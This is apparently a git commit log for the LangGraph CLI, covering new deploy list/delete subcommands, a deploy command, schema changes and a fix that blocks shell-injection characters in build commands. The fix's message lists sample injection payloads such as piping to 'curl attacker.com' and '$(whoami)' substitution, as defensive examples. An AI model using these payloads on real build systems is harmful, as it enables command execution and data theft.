feat(cli): Add deploy list and deploy delete subcommands ( #7106 )
...
### Summary
This PR introduces a subcommand implementation that allows `langgraph
deploy list` and `langgraph deploy delete` subcommands.
#### `langgraph deploy list`
```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 langgraph % langgraph deploy list --help ⎈ gke_langchain-test-387119_us-west1_langgraph-cloud-us-west1
Usage: langgraph deploy list [OPTIONS]
[Beta] List LangSmith Deployments.
Options:
--name-contains TEXT Only show deployments whose names contain this value.
--api-key TEXT API key. Can also be set via LANGGRAPH_HOST_API_KEY,
LANGSMITH_API_KEY, or LANGCHAIN_API_KEY environment
variable or .env file.
--help Show this message and exit.
```
Output example:
```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 cli % langgraph deploy list
Deployment ID Deployment Name Deployment URL
------------------------------------ -------------------------- ------------------------------------------------------------------------------------
a40d6567-87c0-485a-a23d-94309a7d4519 ht-andrew-test-04 -
9da26acb-d0c9-4af0-af9e-f3fe8dfe85bc ht-anirudh-deployment-test https://ht-anirudh-deployment-test-428af4737f8a533cb2b107587eb8f38f.us.langgraph.app
```
#### `langgraph deploy delete`
```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 langgraph % langgraph deploy delete --help ⎈ gke_langchain-test-387119_us-west1_langgraph-cloud-us-west1
Usage: langgraph deploy delete [OPTIONS] DEPLOYMENT_ID
[Beta] Delete a LangSmith Deployment.
Options:
--force Delete without prompting for confirmation.
--api-key TEXT API key. Can also be set via LANGGRAPH_HOST_API_KEY,
LANGSMITH_API_KEY, or LANGCHAIN_API_KEY environment variable
or .env file.
--help Show this message and exit.
```
Output example:
```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 cli % langgraph deploy delete a40d6567-87c0-485a-a23d-94309a7d4519
Are you sure you want to delete deployment ID a40d6567-87c0-485a-a23d-94309a7d4519? (Y/n): Y
Host API key:
Deleted deployment a40d6567-87c0-485a-a23d-94309a7d4519.
```
```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 cli % langgraph deploy delete a40d6567-87c0-485a-a23d-94309a7d4519
Are you sure you want to delete deployment ID a40d6567-87c0-485a-a23d-94309a7d4519? (Y/n): n
Aborted!
```
```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 cli % langgraph deploy delete 9da26acb-d0c9-4af0-af9e-f3fe8dfe85bc --force
Host API key:
Deleted deployment 9da26acb-d0c9-4af0-af9e-f3fe8dfe85bc.
```
2026-03-11 09:12:17 -07:00
Quanzheng Long and GitHub
4ef61690c6
feat(cli): add distributed runtime support to langgraph cli ( #7096 )
2026-03-09 20:43:45 -07:00
William FH and GitHub
2638ff715a
release(cli): 0.4.15 ( #7095 )
2026-03-09 18:13:45 -07:00
65117979b4
feat(cli): add langgraph deploy ( #7004 )
...
Allow users to deploy to langsmith deployments from the langgraph-cli.
This PR makes the following changes:
1. Add a simple host backend client with httpx
2. Adjust `progress.py` to show elapsed time for commands, and also use
threading.Event to stop the spinner
3. Adjust `_build` to allow arbitrary command so we can pass `docker
buildx build` and default to `docker build`
4. Add new `deploy` command, this re-uses a lot of the `langgraph build`
functionality, and then uses the new host-backend client to push the
built image to langsmith deployments.
---------
Co-authored-by: David Asamu <david.asamu@langchain.dev >
2026-03-09 18:11:34 -07:00
e00a027579
fix(cli): block shell injection chars in build/install commands ( #7044 )
...
## Summary
- Adds `|`, `;`, `$`, `>`, `<`, `\t` to `DISALLOWED_BUILD_COMMAND_CHARS`
to prevent command injection in CLI `build_command` / `install_command`
parameters
- Previously these values were interpolated directly into Dockerfile
`RUN` directives with no validation
- Single `&` is blocked (background execution) while `&&` remains
allowed since it's commonly used in build commands (e.g. `npm install &&
npm build`)
- Adds `has_disallowed_build_command_content()` validation function and
applies it in the `build` CLI command
- Mirrors langchain-ai/langchainplus#19143
**Attack examples now blocked:**
- `pip install foo | curl attacker.com` (pipe)
- `npm install; curl evil.com` (semicolon)
- `pip install $(whoami)` (command substitution)
- `pip install ${IFS}evil` (variable expansion)
- `npm install & curl evil.com` (background execution)
## Test Plan
- [x] 27 new unit tests covering all disallowed chars, injection
patterns, single `&` rejection, `&&` allowance, and valid commands
- [x] All 64 tests in `test_config.py` pass (37 existing + 27 new)
🤖 Generated with [Claude Code](https://claude.com/claude-code )
---------
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com >
2026-03-06 21:14:57 +00:00
William FH and GitHub
a3823395cf
chore(cli): pass checkpointer config to CLI ( #7003 )
2026-03-02 21:12:22 +00:00
50df7d423a
Merge commit from fork
...
* Patch
* Add more tests
* update idempotency tests
---------
Co-authored-by: William Fu-Hinthorn <13333726+hinthornw@users.noreply.github.com >
2026-02-26 12:01:58 -08:00
ed293f16d6
fix(cli): update graph config schema to support description field ( #6895 )
...
## Summary
- The config processing code in `config.py` already handles graphs
defined as `{"path": "...", "description": "..."}` dicts, but the
`Config` TypedDict and JSON schema only declared `dict[str, str]`
- Added a `GraphDef` TypedDict with `path` and optional `description`
fields
- Updated `Config.graphs` to `dict[str, str | GraphDef]` and regenerated
the JSON schemas
- This makes the schema match the actual runtime behavior and fixes
IDE/schema validation for users who use the dict format
## Test plan
- [x] `make format` passes
- [x] `make lint` passes
- [x] `make test` passes (all 85 tests)
- [x] Schema regeneration produces consistent output
Release Notes: Update `langgraph.json` schema to support `{"path":
"...", "description": "..."}` format for graph definitions.
🤖 Generated with [Claude Code](https://claude.com/claude-code )
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com >
2026-02-22 20:16:45 -08:00
William FH and GitHub
b0f14649e0
chore: Update CLI schema ( #6858 )
2026-02-20 01:11:21 +00:00
f5e56e200d
feat(cli): add keep_latest prune strategy to ThreadTTLConfig ( #6784 )
...
## Summary
- Add `"keep_latest"` to `ThreadTTLConfig.strategy` to match
langgraph-api support for pruning old checkpoints while retaining the
thread and its latest state
- Add `sweep_limit` to `ThreadTTLConfig` where the API actually reads it
(was previously a no-op on `CheckpointerConfig`)
- Regenerate `schema.json` / `schema.v0.json`
## Test plan
- [x] `make format && make lint` passes
- [x] `make test` passes (85/85)
---------
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com >
2026-02-11 19:00:48 -08:00
William FH and GitHub
f9870bc9ae
chore: Drop support for bullseye builds ( #6779 )
...
It's EOL for debian.
2026-02-10 15:11:24 -08:00